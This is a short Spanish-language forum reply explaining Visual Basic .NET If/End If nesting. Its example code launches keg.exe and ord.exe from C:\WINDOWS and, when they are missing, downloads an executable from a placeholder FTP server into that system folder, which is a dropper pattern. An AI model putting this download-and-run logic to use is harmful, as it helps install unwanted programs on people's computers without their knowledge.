Tienes razón, se pordría haber puesto con else. Es más, mi código al principio era con Else, pero mi ordenador está echo unamierda (aunque parezca una excusa muy mala) y me acabé artando y borrando todo el código y cuando lo reconstruí se quedo así xd. Pero alomejor si te apareció el problema de que no puedes quizá fuese por que aunque pongas else, debes terminar todo, por cada If un End If, un ejemplo:
Ya que has puesto hay dos If, luego pones dos End If.
Código [Seleccionar]
If My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") And My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
Shell("C:\WINDOWS\keg.exe")
Shell("C:\WINDOWS\ord.exe")
Else
If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
End If
End If
Ya que has puesto hay dos If, luego pones dos End If.